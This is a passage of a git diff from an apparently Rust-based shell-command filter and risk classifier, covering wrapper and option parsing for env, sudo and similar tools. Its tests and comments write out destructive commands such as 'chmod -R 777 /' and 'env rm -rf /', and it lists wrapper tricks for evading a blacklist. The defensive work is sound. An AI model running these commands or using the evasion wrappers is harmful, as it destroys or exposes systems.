assert!(hit.matched_hard_blacklist_entry.is_some()); + assert_eq!( + RuleBasedRiskClassifier.classify(&blacklisted).server_risk, + RiskLevel::Red + ); + + let harmless = format!("bash -c 'ls; {filler}'"); + let hit = trace(vec![rule("d", "docker *", RuleAction::Deny)], &harmless).await; + assert_confirm_with_code(&hit, "FILTER_COMMAND_TOO_LONG", &harmless[..30]); +} + +/// The shell runs the command substitutions of text the parser does not +/// split; the risk rating looks into them as the filter engine does. +#[test] +fn risk_rating_of_ambiguous_text_includes_its_substitutions() { + use crate::risk::{RiskLevel, RuleBasedRiskClassifier}; + + for command in [ + "x=<<<$(exec chmod -R 777 /)", + "x=<<<$(chmod -R 777 /)", + "x=<<<`chmod -R 777 /`", + ] { + assert!(matches!( + parser::split_command(command), + ParseResult::Ambiguous { .. } + )); + assert_eq!( + RuleBasedRiskClassifier.classify(command).server_risk, + RiskLevel::Red, + "{command:?}" + ); + } +} diff --git a/crates/core/src/filter/types.rs b/crates/core/src/filter/types.rs index 1acbecccd..e7d52edd7 100644 --- a/crates/core/src/filter/types.rs +++ b/crates/core/src/filter/types.rs @@ -126,7 +126,7 @@ pub struct Rule { /// Muster, gegen das ein (bereits in Teilkommandos zerlegtes) Kommando /// geprüft wird (Spec 0002, Abschnitt 2). -#[derive(Debug, Clone, PartialEq, Serialize, Deserialize)] +#[derive(Debug, Clone, PartialEq, Eq, Hash, Serialize, Deserialize)] pub enum Pattern { /// z. B. "ls *", "cat /var/log/*" Glob(String), diff --git a/crates/core/src/filter/wrapper_options.rs b/crates/core/src/filter/wrapper_options.rs index 3e929a9c4..3ed260045 100644 --- a/crates/core/src/filter/wrapper_options.rs +++ b/crates/core/src/filter/wrapper_options.rs @@ -1,4 +1,55 @@ -//! Option arguments of pass-through wrappers (Issue #1230). +//! The pass-through wrappers, the option arguments of these wrappers (Issue +//! #1230), of `sudo`/`doas` (Issue #1208) and of `env`, and the assignments +//! `env` and `sudo` take from their arguments. + +/// Bekannte "durchreichende" Kommandos — sie führen ihr letztes Argument +/// unverändert als Kommando aus, ändern selbst aber nichts an der +/// eigentlichen Aktion. Nicht erschöpfend (kein vollständiger CLI-Parser für +/// jeden Wrapper), deckt aber die in der Praxis üblichen +/// Verschleierungsversuche gegen die Hard-Blacklist ab (Spec 0002, Abschnitt +/// 3.1: "unabhängig von Nutzerregeln" — eine fest verdrahtete Blacklist, die +/// ein simples `env rm -rf /` nicht erkennt, hält dieses Versprechen nicht). +/// Erweitert um `timeout`/`xargs`/`setsid`/`stdbuf`/`ionice`/`chroot`/ +/// `flock`/`busybox`/`script` (unabhängiger Review-Pass, Spec 0013) und um +/// `systemd-run`/`taskset`/`nsenter`/`chrt`/`unshare`/`setpriv`/`pkexec`/ +/// `run0` (Optionen: +/// [`passthrough_option_table`]). +pub(super) const PASSTHROUGH_WRAPPERS: &[&str] = &[ + "env", + "nice", + "nohup", + "time", + "command", + "timeout", + "xargs", + "setsid", + "stdbuf", + "ionice", + "chroot", + "flock", + "busybox", + "script", + "exec", + "builtin", + "runuser", + "systemd-run", + "taskset", + "nsenter", + "chrt", + "unshare", + "setpriv", + "pkexec", + "run0", +]; + +/// Wrapper, die vor dem eigentlichen Kommando genau EIN positionales (nicht +/// mit `-` beginnendes) Pflichtargument erwarten — die Zeitdauer bei +/// `timeout`, das neue Wurzelverzeichnis bei `chroot`, die Lock-Datei bei +/// `flock`, die CPU-Maske bei `taskset`, die Priorität bei `chrt`. Ohne diese Sonderbehandlung würde +/// z. B. `timeout 5 rm -rf /` das positionale `5` fälschlich als +/// Kommandoname auffassen und die Wrapper-Erkennung dort abbrechen. +pub(super) const WRAPPERS_WITH_ONE_POSITIONAL_ARG: &[&str] = + &["timeout", "chroot", "flock", "taskset", "chrt"]; /// Shared by the effective-command resolution and the `sftp-server` word /// check (Issue #1230), so the two cannot drift apart. `env -S` is left out on @@ -12,7 +63,7 @@ pub(crate) fn wrapper_option_takes_value(program: &str, flag: &str) -> bool { let flags: &[&str] = match program { "timeout" => &["-s", "--signal", "-k", "--kill-after"], "nice" => &["-n", "--adjustment"], - "env" => &["-u", "--unset", "-C", "--chdir"], + "env" => return classify_env_option(flag) == EnvOption::Plain(SudoOption::TakesNext), "stdbuf" => &["-i", "-o", "-e", "--input", "--output", "--error"], "ionice" => &[ "-c", @@ -47,3 +98,613 @@ pub(crate) fn wrapper_option_takes_value(program: &str, flag: &str) -> bool { }; flags.contains(&flag) } + +/// Issue #1208: how a `sudo`/`doas` word starting with `-` continues. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub(crate) enum SudoOption { + /// `--`: end of options. + EndOfOptions, + /// Option without an argument, or with an attached one (`-uroot`, + /// `--user=root`). + Complete, + /// Option whose argument is the next word (`-u root`, `--prompt 'x'`). + TakesNext, +} + +/// `sudo`'s long options and whether each takes the next word as its value. +/// `--preserve-env` takes only an attached list. +const SUDO_LONG_OPTIONS: &[(&str, bool)] = &[ + ("askpass", false), + ("auth-type", true), + ("background", false), + ("bell", false), + ("close-from", true), + ("login-class", true), + ("chdir", true), + ("preserve-env", false), + ("edit", false), + ("group", true), + ("set-home", false), + ("help", false), + ("host", true), + ("login", false), + ("remove-timestamp", false), + ("reset-timestamp", false), + ("list", false), + ("non-interactive", false), + ("no-update", false), + ("preserve-groups", false), + ("prompt", true), + ("chroot", true), + ("role", true), + ("stdin", false), + ("shell", false), + ("command-timeout", true), + ("type", true), + ("other-user", true), + ("user", true), + ("version", false), + ("validate", false), +]; + +/// Classifies one `sudo`/`doas` option word. Shared by the effective-command +/// resolution and the `sftp-server` word check, so the filter and the risk +/// classifier read the same word as the command. `word` keeps its original +/// case (`-H` takes no argument, `-h` does). Unknown options are `Complete`, +/// so the next word still counts as the command. +pub(crate) fn classify_sudo_option(program: &str, word: &str) -> SudoOption { + if word == "--" { + return SudoOption::EndOfOptions; + } + if let Some(long) = word.strip_prefix("--") { + if long.contains('=') || program != "sudo" { + return SudoOption::Complete; + } + let candidates = long_option_candidates(SUDO_LONG_OPTIONS, &long.to_lowercase()); + return if takes_next_value(&candidates) { + SudoOption::TakesNext + } else { + SudoOption::Complete + }; + } + let with_arg: &[char] = if program == "doas" { + &['a', 'C', 'u'] + } else { + &[ + 'a', 'C', 'c', 'D', 'g', 'h', 'p', 'R', 'r', 'T', 't', 'U', 'u', + ] + }; + // Cluster such as `-Sk`: the first option letter that takes an argument + // ends it; letters after it are the attached argument. + let letters: Vec = word.chars().skip(1).collect(); + match letters.iter().position(|c| with_arg.contains(c)) { + Some(pos) if pos + 1 == letters.len() => SudoOption::TakesNext, + _ => SudoOption::Complete, + } +} + +/// The entries of `options` the long option `name` selects: its exact match, +/// or else every option it is a prefix of (`getopt_long` also accepts an +/// unambiguous prefix such as `--chd`). +fn long_option_candidates<'a>( + options: &'a [(&'a str, bool)], + name: &str, +) -> Vec<&'a (&'a str, bool)> { + match options.iter().find(|(option, _)| *option == name) { + Some(exact) => vec![exact], + None => options + .iter() + .filter(|(option, _)| option.starts_with(name)) + .collect(), + } +} + +/// Whether the `sudo` long option `word` (`--lo`, `--shell`) may be one of +/// `names`. +pub(super) fn sudo_long_option_may_be(word: &str, names: &[&str]) -> bool { + let Some(long) = word.strip_prefix("--") else { + return false; + }; + let name = long.split('=').next().unwrap_or_default().to_lowercase(); + !name.is_empty() + && long_option_candidates(SUDO_LONG_OPTIONS, &name) + .iter() + .any(|(option, _)| names.contains(option)) +} + +/// Whether `word` is an abbreviated `sudo` long option that matches options +/// with and without a value (`--p`: `--prompt`, `--preserve-env`). `sudo` +/// refuses it; the effective-command resolution reads it both ways. +pub(super) fn sudo_long_option_is_ambiguous(word: &str) -> bool { + let Some(long) = word.strip_prefix("--").filter(|long| !long.contains('=')) else { + return false; + }; + let candidates = long_option_candidates(SUDO_LONG_OPTIONS, &long.to_lowercase()); + candidates.iter().any(|(_, takes)| *takes) && candidates.iter().any(|(_, takes)| !*takes) +} + +/// Whether the selected long option takes the next word as its value; an +/// ambiguous prefix only if every candidate does. +fn takes_next_value(candidates: &[&(&str, bool)]) -> bool { + !candidates.is_empty() && candidates.iter().all(|(_, takes_value)| *takes_value) +} + +/// How an `env` word starting with `-` continues. +#[derive(Debug, Clone, PartialEq, Eq)] +pub(super) enum EnvOption { + Plain(SudoOption), + /// `-S`/`--split-string`: `env` splits the value into further arguments + /// (options, assignments, the command) in place of the option. `Some` + /// for an attached value, `None` when it is the next word. + SplitString(Option), +} + +/// GNU `env`'s long options and whether each takes the next word as its +/// value; the signal options take only an attached one. +const ENV_LONG_OPTIONS: &[(&str, bool)] = &[ + ("argv0", true), + ("block-signal", false), + ("chdir", true), + ("debug", false), + ("default-signal", false), + ("env0-from", true), + ("help", false), + ("ignore-environment", false), + ("ignore-signal", false), + ("list-signal-handling", false), + ("null", false), + ("split-string", true), + ("unset", true), + ("version", false), +]; + +/// Classifies one `env` option word (GNU and BSD `env`), with clusters +/// (`-iu NAME`) and abbreviated long options (`--uns NAME`) as `getopt` +/// reads them. Unknown options are complete, so the next word still counts +/// as the command. +pub(super) fn classify_env_option(word: &str) -> EnvOption { + if word == "--" { + return EnvOption::Plain(SudoOption::EndOfOptions); + } + if let Some(long) = word.strip_prefix("--") { + let (name, value) = match long.split_once('=') { + Some((name, value)) => (name, Some(value)), + None => (long, None), + }; + let candidates = long_option_candidates(ENV_LONG_OPTIONS, name); + if let [("split-string", _)] = candidates.as_slice() { + return EnvOption::SplitString(value.map(str::to_string)); + } + return EnvOption::Plain(if value.is_none() && takes_next_value(&candidates) { + SudoOption::TakesNext + } else { + SudoOption::Complete + }); + } + // `-P` (BSD) and `-L`/`-U` (FreeBSD) also take a value. + let letters: Vec = word.chars().skip(1).collect(); + let Some(pos) = letters.iter().position(|c| "CLPSUau".contains(*c)) else { + return EnvOption::Plain(SudoOption::Complete); + }; + let attached: String = letters[pos + 1..].iter().collect(); + match (letters[pos], attached.is_empty()) { + ('S', true) => EnvOption::SplitString(None), + ('S', false) => EnvOption::SplitString(Some(attached)), + (_, true) => EnvOption::Plain(SudoOption::TakesNext), + (_, false) => EnvOption::Plain(SudoOption::Complete), + } +} + +/// One step of the wrapper stripping in `parser`. +pub(super) enum Strip { + /// What follows the stripped prefix; `cmd` itself if there is none. + Rest(String), + /// `word` may become other words than it shows (an `env`/`sudo` + /// assignment `A=$x`, an `env -S` value with escapes), the command among + /// them; `rest` reads past it. + Expanding { word: String, rest: String }, +} + +/// The arguments `env -S VALUE REST…` runs with, as text for the wrapper +/// stripping: `\_` separates arguments like a space, `\c` ends the value and +/// so does a `#` comment at the start of a word. Other escapes, a comment or +/// `${…}` leave the command word unknown. +pub(super) fn env_split_string(value: &str, rest: &str) -> Strip { + let text = value + .split("\\c") + .next() + .unwrap_or_default() + .replace("\\_", " "); + let comment = text + .char_indices() + .find(|&(i, c)| c == '#' && (i == 0 || text[..i].ends_with(char::is_whitespace))); + let text = comment.map_or(text.as_str(), |(i, _)| &text[..i]); + let split = format!("env {text} {rest}"); + let rest = super::parser::normalize_whitespace(&split); + if value.contains(['\\', '#', '$']) { + return Strip::Expanding { + word: value.to_string(), + rest, + }; + } + Strip::Rest(rest) +} + +/// Whether `program` (`env` or `sudo`) takes the argument `word` (quotes +/// removed) as a variable assignment: both take every argument before the +/// command that contains a `=` after its first character, whatever the name +/// and quoting (`'A=1 2'`, `A.B=1`); `sudo` not a path starting with `/`. +/// The shell itself only takes an unquoted `NAME=`. +pub(super) fn is_argument_assignment(program: &str, word: &str) -> bool { + word.find('=').is_some_and(|pos| pos > 0) && !(program == "sudo" && word.starts_with('/')) +} + +/// Whether the shell may split `word` into several words or drop its `=`: +/// an unquoted parameter or command expansion, brace expansion or bracket +/// glob, or `$@`/`${a[@]}` inside double quotes. +pub(super) fn has_splitting_expansion(word: &str) -> bool { + let mut quote = None; + let mut chars = word.chars().peekable(); + while let Some(c) = chars.next() { + match (quote, c) { + (Some('\'' | '$'), '\'') | (Some('"'), '"') => quote = None, + (Some('"' | '$'), '\\') | (None, '\\') => { + chars.next(); + } + (Some('"'), '$') => { + let rest: String = chars.clone().collect(); + let braced = rest.strip_prefix('{').and_then(|r| r.split('}').next()); + if rest.starts_with('@') || braced.is_some_and(|inner| inner.contains('@')) { + return true; + } + } + (Some(_), _) => {} + (None, '$') if chars.peek() == Some(&'\'') => { + chars.next(); + quote = Some('$'); + } + (None, '\'' | '"') => quote = Some(c), + (None, c) => { + if matches!(c, '$' | '`' | '{' | '[') + || super::prefix_strip::SUBSTITUTION_WORD.contains(c) + { + return true; + } + } + } + } + false +} + +/// The options of a program that parses them like `getopt_long`: short +/// options in clusters (`-tP`), a value attached (`-uNAME`) or in the next +/// word, long options abbreviated to any unique prefix, `--` ends them. +pub(super) struct OptionTable { + /// Short options that take a value, attached or the next word. + pub(super) short_value: &'static str, + /// Short options whose value can only be attached (`-m/path`): the rest + /// of the word is the value, the next word is not. + pub(super) short_optional: &'static str, + /// Short options without a value. + pub(super) short_flags: &'static str, + /// Long options and whether each takes the next word as its value. + pub(super) long: &'static [(&'static str, bool)], +} + +/// How an option word of an [`OptionTable`] continues. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub(super) enum OptionWord { + EndOfOptions, + Complete, + TakesNext, + /// Not in the table, or an abbreviation that matches options with and + /// without a value: whether it takes the next word is not known. + Unknown, +} + +/// Classifies the option word `word` (starting with `-`) by `table`. +pub(super) fn classify_option(table: &OptionTable, word: &str) -> OptionWord { + if word == "--" { + return OptionWord::EndOfOptions; + } + if let Some(long) = word.strip_prefix("--") { + let (name, attached) = match long.split_once('=') { + Some((name, _)) => (name, true), + None => (long, false), + }; + let candidates = long_option_candidates(table.long, name); + let takes = candidates.iter().filter(|(_, takes)| *takes).count(); + return match (candidates.len(), takes) { + (0, _) => OptionWord::Unknown, + (_, 0) => OptionWord::Complete, + (n, t) if n == t => { + if attached { + OptionWord::Complete + } else { + OptionWord::TakesNext + } + } + _ => OptionWord::Unknown, + }; + } + let letters: Vec = word.chars().skip(1).collect(); + for (pos, letter) in letters.iter().enumerate() { + if table.short_value.contains(*letter) { + return if pos + 1 == letters.len() { + OptionWord::TakesNext + } else { + OptionWord::Complete + }; + } + if table.short_optional.contains(*letter) { + return OptionWord::Complete; + } + if !table.short_flags.contains(*letter) { + return OptionWord::Unknown; + } + } + OptionWord::Complete +} + +/// The option table of the pass-through wrappers that run their arguments +/// as a command and are read by a table (`systemd-run`, `taskset`, +/// `nsenter`, `chrt`); `None` for the others. +pub(super) fn passthrough_option_table(program: &str) -> Option<&'static OptionTable> { + match program { + "systemd-run" => Some(&SYSTEMD_RUN_OPTIONS), + "taskset" => Some(&TASKSET_OPTIONS), + "nsenter" => Some(&NSENTER_OPTIONS), + "chrt" => Some(&CHRT_OPTIONS), + "unshare" => Some(&UNSHARE_OPTIONS), + "setpriv" => Some(&SETPRIV_OPTIONS), + "pkexec" => Some(&PKEXEC_OPTIONS), + "run0" => Some(&RUN0_OPTIONS), + _ => None, + } +} + +const SYSTEMD_RUN_OPTIONS: OptionTable = OptionTable { + short_value: "HMupEC", + short_optional: "", + short_flags: "hrdtPSqG", + long: &[ + ("help", false), + ("version", false), + ("user", false), + ("system", false), + ("host", true), + ("machine", true), + ("capsule", true), + ("scope", false), + ("unit", true), + ("property", true), + ("description", true), + ("slice", true), + ("slice-inherit", false), + ("remain-after-exit", false), + ("send-sighup", false), + ("service-type", true), + ("uid", true), + ("gid", true), + ("nice", true), + ("working-directory", true), + ("same-dir", false), + ("setenv", true), + ("pty", false), + ("pipe", false), + ("shell", false), + ("quiet", false), + ("on-active", true), + ("on-boot", true), + ("on-startup", true), + ("on-unit-active", true), + ("on-unit-inactive", true), + ("on-calendar", true), + ("on-clock-change", false), + ("on-timezone-change", false), + ("path-property", true), + ("socket-property", true), + ("timer-property", true), + ("no-block", false), + ("wait", false), + ("collect", false), + ("no-ask-password", false), + ("json", true), + ("expand-environment", true), + ("ignore-failure", false), + ("background", true), + ], +}; + +const TASKSET_OPTIONS: OptionTable = OptionTable { + short_value: "", + short_optional: "", + short_flags: "apchV", + long: &[ + ("all-tasks", false), + ("pid", false), + ("cpu-list", false), + ("help", false), + ("version", false), + ], +}; + +const NSENTER_OPTIONS: OptionTable = OptionTable { + short_value: "tNGWS", + short_optional: "muinpCUTrw", + short_flags: "aPkeFZchV", + long: &[ + ("all", false), + ("target", true), + ("mount", false), + ("uts", false), + ("ipc", false), + ("net", false), + ("net-socket", true), + ("pid", false), + ("cgroup", false), + ("user", false), + ("time", false), + ("user-parent", false), + ("setgroups", true), + ("preserve-credentials", false), + ("keep-caps", false), + ("root", false), + ("wd", false), + ("wdns", true), + ("env", false), + ("no-fork", false), + ("follow-context", false), + ("join-cgroup", false), + ("setuid", true), + ("setgid", true), + ("help", false), + ("version", false), + ], +}; + +const CHRT_OPTIONS: OptionTable = OptionTable { + short_value: "TPD", + short_optional: "", + short_flags: "abdefimoprRvhV", + long: &[ + ("all-tasks", false), + ("batch", false), + ("deadline", false), + ("ext", false), + ("fifo", false), + ("idle", false), + ("max", false), + ("other", false), + ("pid", false), + ("rr", false), + ("reset-on-fork", false), + ("sched-runtime", true), + ("sched-period", true), + ("sched-deadline", true), + ("verbose", false), + ("help", false), + ("version", false), + ], +}; + +const UNSHARE_OPTIONS: OptionTable = OptionTable { + short_value: "RwSGl", + short_optional: "", + short_flags: "muinpUCTfrchV", + long: &[ + ("mount", false), + ("uts", false), + ("ipc", false), + ("net", false), + ("pid", false), + ("user", false), + ("cgroup", false), + ("time", false), + ("fork", false), + ("kill-child", false), + ("mount-proc", false), + ("mount-binfmt", false), + ("map-root-user", false), + ("map-current-user", false), + ("map-auto", false), + ("map-user", true), + ("map-group", true), + ("map-users", true), + ("map-groups", true), + ("owner", true), + ("propagation", true), + ("setgroups", true), + ("keep-caps", false), + ("root", true), + ("wd", true), + ("setuid", true), + ("setgid", true), + ("monotonic", true), + ("boottime", true), + ("load-interp", true), + ("help", false), + ("version", false), + ], +}; + +const SETPRIV_OPTIONS: OptionTable = OptionTable { + short_value: "", + short_optional: "", + short_flags: "dhV", + long: &[ + ("dump", false), + ("clear-groups", false), + ("groups", true), + ("inh-caps", true), + ("ambient-caps", true), + ("bounding-set", true), + ("keep-groups", false), + ("init-groups", false), + ("list-caps", false), + ("no-new-privs", false), + ("nnp", false), + ("regid", true), + ("reuid", true), + ("rgid", true), + ("ruid", true), + ("egid", true), + ("euid", true), + ("securebits", true), + ("pdeathsig", true), + ("selinux-label", true), + ("apparmor-profile", true), + ("landlock-access", true), + ("landlock-rule", true), + ("seccomp-filter", true), + ("reset-env", false), + ("rlimit", true), + ("ptracer", true), + ("help", false), + ("version", false), + ], +}; + +const PKEXEC_OPTIONS: OptionTable = OptionTable { + short_value: "", + short_optional: "", + short_flags: "", + long: &[ + ("user", true), + ("disable-internal-agent", false), + ("keep-cwd", false), + ("help", false), + ("version", false), + ], +}; + +const RUN0_OPTIONS: OptionTable = OptionTable { + short_value: "ugDi", + short_optional: "", + short_flags: "hV", + long: &[ + ("help", false), + ("version", false), + ("no-ask-password", false), + ("machine", true), + ("unit", true), + ("property", true), + ("description", true), + ("slice", true), + ("slice-inherit", false), + ("user", true), + ("group", true), + ("nice", true), + ("chdir", true), + ("setenv", true), + ("background", true), + ("pty", false), + ("pipe", false), + ("shell-prompt-prefix", true), + ("lightweight", true), + ("area", true), + ("via-shell", false), + ("same-root-dir", false), + ("empower", false), + ], +}; diff --git a/crates/core/src/risk/classifier.rs b/crates/core/src/risk/classifier.rs index 88b7ba16f..e05269a47 100644 --- a/crates/core/src/risk/classifier.rs +++ b/crates/core/src/risk/classifier.rs @@ -1,13 +1,14 @@ use crate::filter::{ ambiguous_text_fragments, exceeds_command_length_limit, extract_shell_c_style_codes, - program_source, resolve_effective_command, segment_command, CompiledPattern, Pattern, - ProgramSource, DEFAULT_MAX_COMMAND_LENGTH, MAX_SUBSTITUTION_DEPTH, + overlong_parts, program_source, resolve_effective_command, resolved_forms, runner_commands, + segment_command, strip_substitutions, ProgramSource, DEFAULT_MAX_COMMAND_LENGTH, + MAX_SUBSTITUTION_DEPTH, }; use super::patterns::{ - data_risk_patterns, secret_path_patterns, server_risk_patterns, SECRET_FILE_CANDIDATES, - SECRET_PATH_HINTS, SECRET_READ_COMMANDS, SECRET_RELATIVE_PREFIXES, SFTP_SERVER_INVOCATION, - SSH_KEY_GLOB_CANDIDATES, + best_match, data_risk_patterns, secret_path_patterns, server_risk_patterns, + SECRET_FILE_CANDIDATES, SECRET_PATH_HINTS, SECRET_READ_COMMANDS, SECRET_RELATIVE_PREFIXES, + SFTP_SERVER_INVOCATION, SSH_KEY_GLOB_CANDIDATES, }; use super::sftp_word_check::{quoted_sftp_server_invocation, sftp_server_word_check, WordCheck}; use super::types::{RiskAssessment, RiskLevel}; @@ -39,19 +40,31 @@ impl RuleBasedRiskClassifier { // ohnehin bereits die Filter-Engine (`FILTER_COMMAND_TOO_LONG`) — // hier zählt nur "nicht abstürzen", ein unklassifiziertes Ergebnis // ist ein akzeptabler Fail-safe. + // + // Over the limit the same parts are rated as the filter engine checks + // against its Deny rules (`overlong_parts`): the text without + // trailing blanks and comment if that fits, the pieces unparsed. + let mut acc = RiskAccumulator::new(); if exceeds_command_length_limit(command, DEFAULT_MAX_COMMAND_LENGTH) { - return RiskAssessment { - server_risk: RiskLevel::None, - server_risk_reason: None, - data_risk: RiskLevel::None, - data_risk_reason: None, - ai_reviewed: false, - }; + let parts = overlong_parts(command, DEFAULT_MAX_COMMAND_LENGTH); + if let Some(head) = parts.head { + classify_into(head, 0, &mut acc); + } + let mut fragments = Vec::new(); + for fragment in parts.pieces { + let lower = fragment.to_lowercase(); + fragments.push(fragment); + fragments.push(lower); + } + let resolved = fragments + .iter() + .map(|fragment| resolve_effective_command(fragment)) + .collect(); + rate_segments(fragments, resolved, &mut acc); + } else { + classify_into(command, 0, &mut acc); } - let mut acc = RiskAccumulator::new(); - classify_into(command, 0, &mut acc); - RiskAssessment { server_risk: acc.server_risk, server_risk_reason: acc.server_risk_reason.map(str::to_string), @@ -112,15 +125,83 @@ pub(super) fn classify_into(command: &str, depth: usize, acc: &mut RiskAccumulat // treffen; das volle Kommando zusätzlich zu prüfen fängt das aber // ohne eine (hier nicht gewollte) Änderung an `filter::parser` // selbst auf. + // Issue #1208: also in its original case, since `sudo` options are + // case-sensitive (`-H` takes no value, `-h` does). + segments.push(command.to_string()); segments.push(command.to_lowercase()); // Issue #433: unsplittable text (here-doc operator, unbalanced quotes) // is one block above; also rate its naive fragments so `rm;<<` is never // lower than `rm`. - segments.extend( - ambiguous_text_fragments(command) - .iter() - .map(|f| f.to_lowercase()), - ); + // The shell still runs the command substitutions of such text; they + // are rated below like `-c` code, as the filter engine evaluates them. + let mut substitutions = Vec::new(); + for fragment in ambiguous_text_fragments(command) { + substitutions.extend(strip_substitutions(&fragment).1); + let lower = fragment.to_lowercase(); + segments.extend([fragment, lower]); + } + let resolved = resolved_forms(command, &segments); + let segments = rate_segments(segments, resolved, acc); + + // Issue #1232: the whitespace-based resolver above cannot see through + // quoted wrapper arguments; the quote-aware walk can (escalation only). + if depth == 0 + && acc.server_risk < RiskLevel::Red + && command.to_lowercase().contains("sftp-server") + && quoted_sftp_server_invocation(command) + { + acc.server_risk = RiskLevel::Red; + acc.server_risk_reason = Some(SFTP_SERVER_RED_REASON); + } + + if depth >= MAX_SUBSTITUTION_DEPTH { + return; + } + // De-duplicated (ignoring case) before recursing: the raw segment, the + // whole command and their resolved forms usually yield the same code, + // and recursing once per copy would multiply the work at every nesting + // level. Issue #1208: taken from the original text first, so the copy + // kept resolves `sudo -H reboot` with its real options; the lower-cased + // text still adds what only it yields (`BASH -C …`). + let mut codes: Vec = Vec::new(); + for code in substitutions { + if !code.trim().is_empty() && !codes.contains(&code) { + codes.push(code); + } + } + let texts: Vec = segments + .iter() + .flat_map(|s| [s.clone(), s.to_lowercase()]) + .collect(); + let found = texts.iter().flat_map(|text| { + let from_segment_path = match program_source(text) { + Some(ProgramSource::Code(found)) => found, + _ => Vec::new(), + }; + extract_shell_c_style_codes(text) + .into_iter() + .chain(from_segment_path) + }); + // Also the command lines of `watch`, `su -c`, `ssh host …` and the like. + for code in found.chain(runner_commands(&texts).codes) { + let lower = code.to_lowercase(); + if !code.trim().is_empty() && !codes.iter().any(|c| c.to_lowercase() == lower) { + codes.push(code); + } + } + for code in &codes { + classify_into(code, depth + 1, acc); + } +} + +/// Rates `segments` plus `resolved` (their resolved forms) and the +/// trailing-space forms of both against both pattern lists into `acc`; +/// returns all forms that were rated. +fn rate_segments( + mut segments: Vec, + resolved: Vec, + acc: &mut RiskAccumulator, +) -> Vec { // Unabhängiger Review-Pass (Spec 0026): ohne dieselbe Normalisierung, // die die Filter-Engine für ihre eigene Hard-Blacklist anwendet // (`resolve_effective_command` — wiederholtes Entfernen von @@ -134,10 +215,6 @@ pub(super) fn classify_into(command: &str, depth: usize, acc: &mut RiskAccumulat // häufigere UND gefährlichere Form ist. Zusätzlich zum rohen Segment // auch die aufgelöste Form prüfen — dasselbe Dual-Text-Muster wie // ADR 0002, hier für die Risiko-Einschätzung statt für Regeln. - let resolved: Vec = segments - .iter() - .map(|segment| resolve_effective_command(segment)) - .collect(); segments.extend(resolved); // Trailing-space form (issue #374): `segment_command` trims every // segment, so `rm ` inside a chain reaches the patterns as `rm`, @@ -176,80 +253,7 @@ pub(super) fn classify_into(command: &str, depth: usize, acc: &mut RiskAccumulat Some("Zugriff auf eine SSH-Private-Key-Datei per Platzhalter (id_*)"); } } - - // Issue #1232: the whitespace-based resolver above cannot see through - // quoted wrapper arguments; the quote-aware walk can (escalation only). - if depth == 0 - && acc.server_risk < RiskLevel::Red - && command.to_lowercase().contains("sftp-server") - && quoted_sftp_server_invocation(command) - { - acc.server_risk = RiskLevel::Red; - acc.server_risk_reason = Some(SFTP_SERVER_RED_REASON); - } - - if depth >= MAX_SUBSTITUTION_DEPTH { - return; - } - // Lower-cased and de-duplicated before recursing: the raw segment, - // the whole command and their resolved forms usually yield the same - // code, and recursing once per copy would multiply the work at every - // nesting level. - let mut codes: Vec = Vec::new(); - for segment in &segments { - let lower = segment.to_lowercase(); - let from_segment_path = match program_source(&lower) { - Some(ProgramSource::Code(found)) => found, - _ => Vec::new(), - }; - for code in extract_shell_c_style_codes(&lower) - .into_iter() - .chain(from_segment_path) - { - if !code.trim().is_empty() && !codes.contains(&code) { - codes.push(code); - } - } - } - for code in &codes { - classify_into(code, depth + 1, acc); - } -} - -/// Höchstes unter allen zutreffenden Mustern — ein Teilkommando kann -/// gleichzeitig ein Rot- und ein Gelb-Muster treffen (z. B. `rm -rf -/// /etc/shadow` träfe sowohl "rm -rf" als auch "shadow"), das strengere -/// Ergebnis soll gewinnen, nicht das zuerst in der Liste stehende. -fn best_match( - patterns: &[(Pattern, RiskLevel, &'static str)], - lower_segment: &str, -) -> Option<(RiskLevel, &'static str)> { - compiled_for(patterns) - .iter() - .filter(|(pattern, _, _)| pattern.matches(lower_segment)) - .map(|(_, level, reason)| (*level, *reason)) - .max_by_key(|(level, _)| *level) -} - -type CompiledList = Vec<(CompiledPattern, RiskLevel, &'static str)>; - -/// Die eingebauten Listen einmal kompilieren statt je Aufruf (reine -/// Performance-Maßnahme, gleiche Semantik wie `Pattern::matches`). Die -/// Listen sind `'static`; die Zuordnung läuft über die Slice-Adresse. -fn compiled_for(patterns: &[(Pattern, RiskLevel, &'static str)]) -> &'static CompiledList { - static SERVER: std::sync::OnceLock = std::sync::OnceLock::new(); - static DATA: std::sync::OnceLock = std::sync::OnceLock::new(); - let compile = |list: &[(Pattern, RiskLevel, &'static str)]| -> CompiledList { - list.iter() - .map(|(p, l, r)| (CompiledPattern::new(p), *l, *r)) - .collect() - }; - if std::ptr::eq(patterns, server_risk_patterns()) { - SERVER.get_or_init(|| compile(patterns)) - } else { - debug_assert!(std::ptr::eq(patterns, data_risk_patterns())); - DATA.get_or_init(|| compile(patterns)) - } + segments } /// Ergebnis der Secret-Pfad- bzw. `sftp-server`-Prüfung (Issue #109). @@ -369,10 +373,7 @@ fn first_version_secret_read_reason(command: &str) -> Option = segments - .iter() - .map(|segment| resolve_effective_command(segment)) - .collect(); + let resolved = resolved_forms(command, &segments); segments.extend(resolved); static READ_START: std::sync::OnceLock = std::sync::OnceLock::new(); @@ -542,10 +543,7 @@ fn extended_secret_read_reason_in( let mut segments = segment_command(command); segments.push(command.to_string()); - let resolved: Vec = segments - .iter() - .map(|segment| resolve_effective_command(segment)) - .collect(); + let resolved = resolved_forms(command, &segments); segments.extend(resolved); let cd_prefixes = cd_prefixes(command).map(|mut prefixes| { diff --git a/crates/core/src/risk/mod.rs b/crates/core/src/risk/mod.rs index fc8246d80..7c620dc77 100644 --- a/crates/core/src/risk/mod.rs +++ b/crates/core/src/risk/mod.rs @@ -23,6 +23,7 @@ mod classifier; mod patterns; mod sftp_word_check; mod types; +mod wrapper_state; #[cfg(test)] mod tests; @@ -30,7 +31,6 @@ mod tests; #[cfg(test)] mod property_tests; -mod sudo_options; #[cfg(test)] mod tests_chaining; #[cfg(test)] diff --git a/crates/core/src/risk/patterns.rs b/crates/core/src/risk/patterns.rs index 740f80430..733cbc1cd 100644 --- a/crates/core/src/risk/patterns.rs +++ b/crates/core/src/risk/patterns.rs @@ -20,10 +20,10 @@ //! Sicherheitsschicht. S. `docs/adr/0084-red-risk-requires-confirm.md`. //! //! Wie bei der Hard-Blacklist (s. `filter::blacklist`-Modul-Kommentar) -//! werden Kommandos vor dem Matching lowercased (`classifier::best_match`), +//! werden Kommandos vor dem Matching lowercased (`best_match`), //! die Muster hier sind deshalb konsequent in Kleinschreibung formuliert. -use 